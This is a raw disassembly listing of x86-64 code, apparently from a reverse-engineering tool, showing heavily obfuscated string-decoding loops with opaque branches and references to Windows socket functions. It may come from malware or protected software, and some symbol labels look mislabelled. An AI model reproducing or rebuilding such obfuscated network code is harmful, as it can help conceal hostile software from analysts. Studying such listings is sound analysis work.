lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140078f16
lea edx, [r10 - 0x2c]
movzx eax, r9b
and al, dl
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x140078b33
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140079047
movzx r11d, r10b
lea edx, [r11 - 0x5e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x6e
jmp 0x1400792b3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140079075
lea edx, [r10 + 0x1a]
movzx eax, r9b
and al, dl
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x140078b33
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007909e
movzx r11d, r10b
lea edx, [r11 + 0xa]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x46
jmp 0x14007923a
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140078df6
lea edx, [r10 - 0x7e]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x480]
add rax, r8
add r10, rax
inc r10
jmp 0x140078b33
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140079116
lea edx, [r10 - 0x28]
movzx eax, r9b
and al, dl
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x480]
add rax, r8
add r10, rax
inc r10
jmp 0x140078b33
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007913b
lea edx, [r10 - 0x6c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0xc
jmp 0x140079352
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140079164
movzx r11d, r10b
lea edx, [r11 + 0x50]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x30
jmp 0x14007923a
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140078e27
movzx r11d, r10b
lea edx, [r11 - 0x48]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 8
jmp 0x1400792b3
movzx r11d, r10b
lea edx, [r11 + 0x30]
movzx eax, r9b
and al, dl
add al, al
movzx edi, byte [rbp + r10 + 0x480]
sub dil, al
sub dil, 0x50
add dil, r9b
add dil, dl
add r11b, 0xe
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x62
add r9b, dil
add r9b, r11b
mov byte [rbp + r10 + 0x480], r9b
jmp 0x14007931f
movzx r11d, r10b
lea edx, [r11 - 0x14]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, byte [rbp + r10 + 0x480]
sub dil, 0x74
jmp 0x14007923a
lea edx, [r10 + 0x16]
movzx eax, r9b
and al, dl
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140079352
movzx r11d, r10b
lea edx, [r11 + 0x5a]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x76
add dil, dl
sub r11b, 0x36
movzx eax, r9b
and al, r11b
mov ecx, 0x3d
sub cl, al
add cl, cl
add cl, r9b
add cl, r11b
movzx eax, cl
mov byte [rbp + r10 + 0x480], al
inc r8
add rax, r8
sub r10, rax
jmp 0x140079355
lea edx, [r10 - 0x52]
movzx eax, r9b
and al, dl
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x140078b33
movzx r11d, r10b
lea edx, [r11 - 0xe]
mov ecx, 0x31
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
add r11b, 0x52
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x3e
add r9b, r11b
mov byte [rbp + r10 + 0x480], r9b
inc r8
dec r10
inc r10
jmp 0x140078b33
lea ecx, [r10 + 2]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0xe
dec r10
inc r10
jmp 0x140078b33
lea edx, [r10 - 0x76]
mov ecx, 0x1d
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140078b33
lea rdx, [r10 + r14]
movzx eax, dl
and al, r11b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x5a
add dil, dl
lea edx, [r10 - 0x58]
movzx eax, r9b
and al, dl
mov ecx, 0x34
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x480], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x480]
add rax, r8
add r10, rax
inc r10
jmp 0x140078b33
lea rcx, [r10 + rsi]
movzx eax, cl
and al, r11b
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x36
movzx eax, byte [rbp + r10 + 0x480]
add rax, r8
add r10, rax
inc r10
jmp 0x140078b33
add r10b, 0x56
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x5a
jmp 0x140078b30
sub r10b, 0x66
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x36
jmp 0x140078b20
lea rcx, [rbp + 0x14259a8]
jmp 0x14007941d
lea rcx, [rbp + 0x15baa86]
jmp 0x14007941d
lea rcx, [rbp + 0x480]
lea rdx, [0x1401eb1a3]
call fcn.140039930
mov byte [rbp + 0x4b0], WSAStartup
mov byte [rbp + 0x4b1], reloc.WS2_32.dll_socket
mov byte [rbp + 0x4b2], 3
mov byte [rbp + 0x4b3], reloc.WS2_32.dll_listen
mov byte [rbp + 0x4b4], 6
mov byte [rbp + 0x4b5], 2
mov byte [rbp + 0x4b6], 0x48
mov byte [rbp + 0x4b7], 0x75
mov byte [rbp + 0x4b8], 1
mov byte [rbp + 0x4b9], 0x18
mov byte [rbp + 0x4ba], 3
mov byte [rbp + 0x4bb], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x4bc], 0x1e
mov byte [rbp + 0x4bd], 0x1a
mov byte [rbp + 0x4be], 0x50
mov byte [rbp + 0x4bf], 0x66
mov byte [rbp + 0x4c0], 4
mov byte [rbp + 0x4c1], 0x19
mov byte [rbp + 0x4c2], recv
mov byte [rbp + 0x4c3], 0xbb
xor eax, eax
mov qword [rbp + 0x4c4], rax
mov dword [rbp + 0x4cc], eax
mov word [rbp + 0x4d0], ax
mov byte [rbp + 0x4d2], al
movabs rsi, 0xd1e00867ac842545
movabs r15, 0xbd203ad5b79d04e3
movabs r14, 0x75a01937058c6fcf
movzx edi, byte [rsp + 0x50]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
nop dword [rax]
nop dword [rax + rax]
mov r10, r13
cmp r10, 0x23
jae 0x140079f2e
movzx r9d, byte [rbp + r10 + 0x4b0]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x140079f25
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007955c
lea rcx, [r10 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x1d
jmp 0x140079596
je 0x140079eb7
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140079e2c
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140079df9
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140079dd7
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140079d90
cmp r8, r10
ja 0x140079f1c
lea rax, [r8 + 0x2a]
cmp rbx, rax
jae 0x1400795c0
lea ecx, [r10 - 0x57]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x61
jmp 0x1400795f0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140079d74
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140079d33
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140079d18
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140079a7a
nop dword [rax]
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140079a57
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140079a33
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140079a12
lea rax, [r8 + 8]
cmp rbx, rax
je 0x1400799ef
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x1400799d0
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x1400799b5
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007999a
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140079600
lea rbx, [r8 + 0x42]
lea r8, [rbx + 8]
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140079eff
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140079ee2
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14007979c
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x140079781
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140079766
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140079951
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140079908
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x1400798c4
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x140079600
lea rbx, [r8 + 0x64]
lea r8, [rbx + 0x5a]
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140079893
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140079874
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140079859
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14007983e
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14007981f
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x1400797fc
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x1400797db
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x1400797b7
lea rbx, [r8 + 8]
lea r8, [rbx + 0x2a]
jmp 0x140079600
lea ecx, [r10 + 0x77]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x41
jmp 0x1400795f0
lea ecx, [r10 - 0x13]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7b
jmp 0x140079596
lea ecx, [r10 + 0x63]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x4b
jmp 0x140079526
lea ecx, [r10 - 0x42]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x32
inc r8
dec r10
inc r10
jmp 0x140079513
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6c
dec r10
inc r10
jmp 0x140079513
lea edx, [r10 - 0x56]
movzx eax, dl
and al, r9b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x140079d4d
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140079e10
lea ecx, [r10 - 0x6a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1a
jmp 0x140079e13
lea ecx, [r10 + 0xc]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x54
jmp 0x140079e45
lea edx, [r10 - 0x7e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140079e70
lea edx, [r10 - 8]
movzx eax, dl
and al, r9b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x4b0]
add rax, r8
add r10, rax
inc r10
jmp 0x140079513
lea ecx, [r10 + 0x15]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x6d
cmp r8, 0x41
jb 0x140079cc4
movzx r11d, r10b
lea ecx, [r11 + 0x7e]
movzx eax, cl
and al, r9b
mov edx, 7
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x140079daa
lea ecx, [r10 - 0x75]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x33
cmp rbx, 6
jae 0x140079cd4
lea rax, [r8 + 0x5a]
cmp rbx, rax
jbe 0x140079c10
lea edx, [r10 + 0x1a]
movzx eax, dl
and al, r9b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400798da
lea ecx, [r10 + 1]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 7
lea rax, [r8 + rbx]
cmp rax, 0x42
je 0x140079cfc
lea rax, [r8 + 8]
cmp rbx, rax
jbe 0x140079b74
lea ecx, [r10 + 0x71]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x17
jmp 0x14007991e
lea ecx, [r10 - 0x1e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2e
jmp 0x140079e45
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x68
jmp 0x140079e13
lea edx, [r10 - 0x32]
movzx eax, dl
and al, r9b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140079e10
movzx r11d, r10b
lea edx, [r11 + 0x44]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140079d4d
lea ecx, [r10 - 0x46]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x16
dec r10
inc r10
jmp 0x140079513
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
inc r8
dec r10
inc r10
jmp 0x140079513
lea edx, [r10 - 0x5a]
movzx eax, dl
and al, r9b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x140079daa
lea rax, [r8 + 0x5a]
cmp rbx, rax
jae 0x140079a9e
lea ecx, [r10 + 0x45]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x1d
jmp 0x140079967
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140079ad4
lea ecx, [r10 + 0x52]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3e
movzx eax, byte [rbp + r10 + 0x4b0]
add rax, r8
add r10, rax
inc r10
jmp 0x140079513
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140079af8
lea ecx, [r10 - 0x24]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 4
jmp 0x140079e70
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140079b20
lea edx, [r10 + 0x66]
movzx eax, dl
and al, r9b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140079e45
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140079b48
movzx r11d, r10b
lea ecx, [r11 + 4]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1c
jmp 0x140079d4d
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140079967
movzx r11d, r10b
lea ecx, [r11 - 0x5e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6e
jmp 0x140079daa
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140079b9c
movzx r11d, r10b
lea ecx, [r11 - 5]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x23
jmp 0x140079daa
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140079bc4
movzx r11d, r10b
lea ecx, [r11 - 0x67]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2f
jmp 0x140079d4d
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140079be8
lea ecx, [r10 + 0x23]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0xb
jmp 0x140079e10
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14007991e
lea ecx, [r10 - 0x53]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x45
jmp 0x140079e13
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140079c46
lea ecx, [r10 - 0x5c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7c
movzx eax, byte [rbp + r10 + 0x4b0]
add rax, r8
add r10, rax
inc r10
jmp 0x140079513
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140079c6a
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 8
jmp 0x140079e45
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140079c94
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
dec r10
inc r10
jmp 0x140079513
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x1400798da
movzx r11d, r10b
lea edx, [r11 - 0xc]
movzx eax, dl
and al, r9b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140079daa
mov byte [rbp + r10 + 0x4b0], dil
inc r10
jmp 0x140079513
movzx r11d, r10b
lea edx, [r11 + 8]
movzx eax, dl
and al, r9b
add al, al
movzx edi, byte [rbp + r10 + 0x4b0]
sub dil, al
sub dil, 0x38
add dil, dl
add dil, r9b
jmp 0x140079d4d
lea edx, [r10 - 0x6e]
movzx eax, dl
and al, r9b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140079e45
lea ecx, [r10 - 0x1b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x43
jmp 0x140079e13
movzx r11d, r10b
lea ecx, [r11 - 0x2f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x49
add r11b, 0x4d
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x1b
add r9b, dil
add r9b, r11b
mov byte [rbp + r10 + 0x4b0], r9b
jmp 0x140079e10
movzx r11d, r10b
lea ecx, [r11 + 0x33]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x65
jmp 0x140079daa
movzx r11d, r10b
lea ecx, [r11 + 0x1f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x27
sub r11b, 0x3d
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x55
add r11b, r9b
mov byte [rbp + r10 + 0x4b0], r11b
inc r8
dec r10
inc r10
jmp 0x140079513
lea ecx, [r10 + 0xb]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x4d
dec r10
inc r10
jmp 0x140079513
lea ecx, [r10 - 9]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x3f
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140079513
lea rcx, [r10 + r15]
movzx r9d, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x35
lea edx, [r10 - 0x29]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, 0x1f
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x4b0], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 + 0x1c]
movzx eax, r9b
and al, dl
mov ecx, 0x1e
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x4b0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x4b0]
add rax, r8
add r10, rax
inc r10
jmp 0x140079513
lea rcx, [r10 + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
add dil, 0x57
movzx eax, byte [rbp + r10 + 0x4b0]
add rax, r8
add r10, rax
inc r10
jmp 0x140079513
sub r10b, 0x27
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x11
jmp 0x140079510
add r10b, 0x4f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x29
jmp 0x1400794f4
lea rcx, [rbp + 0x1490f0c]
jmp 0x140079f35
lea rcx, [rbp + 0x4d3451]
jmp 0x140079f35
lea rcx, [rbp + 0x4b0]
lea rdx, [0x1401eb1a4]
call fcn.140039930
mov byte [rbp + 0x4e0], 0xf1
mov byte [rbp + 0x4e1], 0xd7
mov byte [rbp + 0x4e2], 0xdb
mov byte [rbp + 0x4e3], 0xd9
mov byte [rbp + 0x4e4], 0xd6
mov byte [rbp + 0x4e5], 0xda
mov byte [rbp + 0x4e6], 0x1c
mov byte [rbp + 0x4e7], 0xf4
mov byte [rbp + 0x4e8], 0xd7
mov byte [rbp + 0x4e9], 0x2f
mov byte [rbp + 0x4ea], 0x31
mov byte [rbp + 0x4eb], 0x31
mov byte [rbp + 0x4ec], 0x25
mov byte [rbp + 0x4ed], 0xe5
mov byte [rbp + 0x4ee], r13b
mov byte [rbp + 0x4ef], gethostname
mov byte [rbp + 0x4f0], 0x3f
mov byte [rbp + 0x4f1], 0x27
mov byte [rbp + 0x4f2], 0x2f
mov byte [rbp + 0x4f3], 0x2f
mov byte [rbp + 0x4f4], 0xca
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x4f5], xmm0
mov qword [rbp + 0x505], rax
mov word [rbp + 0x50d], ax
mov byte [rbp + 0x50f], al
movabs rsi, 0x832b039dac2cbff7
movabs r15, 0x962d194fb5393fc1
movabs r14, 0x89810ad904863fe5
movzx edi, byte [rsp + 0x50]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
nop word [rax + rax]
mov r10, r13
cmp r10, 0x30
jae 0x14007a9e6
movzx r9d, byte [rbp + r10 + 0x4e0]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x14007a9dd
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007a07c
lea rcx, [r10 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x3f
jmp 0x14007a0b6
je 0x14007a96f
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007a8e6
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007a88e
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14007a86d
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007a826
cmp r8, r10
ja 0x14007a9d4
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007a0e0
lea ecx, [r10 + 0x43]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x2b
jmp 0x14007a120
je 0x14007a80a
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007a7e9
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007a7ce
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14007a7b3
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007a786
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14007a425
nop dword [rax]
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14007a402
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14007a3de
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007a3b9
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14007a39a
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14007a37b
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14007a360
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007a32f
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14007a130
lea rbx, [r8 + 0x1000]
lea r8, [rbx + 8]
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14007a9b7
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14007a99a
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14007a26f
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14007a254
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14007a239
lea rbx, [r8 + 8]
lea r8, [rbx + 0x10]
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x14007a2fe
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14007a2e3
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14007a2c4
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14007a2a9
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14007a28a
lea rbx, [r8 + 0x400]
lea r8, [rbx + 0x7a]
jmp 0x14007a130
lea ecx, [r10 + 0x1d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x35
jmp 0x14007a120
lea ecx, [r10 + 0x2f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x49
jmp 0x14007a0b6
lea ecx, [r10 + 0x41]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x39
jmp 0x14007a046
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007a8ca
lea ecx, [r10 + 0x72]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1e
jmp 0x14007a8cd
lea edx, [r10 - 0x7c]
movzx eax, dl
and al, r9b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007a8ff
lea ecx, [r10 - 0x6a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1a
jmp 0x14007a92a
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x4e0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007a033
lea edx, [r10 - 0x6e]
movzx eax, dl
and al, r9b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x4e0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007a033
lea ecx, [r10 - 0x5c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7c
jmp 0x14007a92a
lea edx, [r10 - 0x26]
movzx eax, dl
and al, r9b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007a8ca
lea ecx, [r10 - 0x14]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x74
movzx r11d, r10b
jmp 0x14007a8a8
lea edx, [r10 - 2]
movzx eax, dl
and al, r9b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14007a033
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
inc r8
dec r10
inc r10
jmp 0x14007a033
lea edx, [r10 + 0x22]
movzx eax, dl
and al, r9b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14007a840
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007a4bd
lea ecx, [r10 - 9]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x3f
lea rax, [r8 + rbx]
cmp rax, 0x41
je 0x14007a76a
lea rax, [r8 + 1]
cmp rbx, rax
jbe 0x14007a56e
lea ecx, [r10 - 0x25]
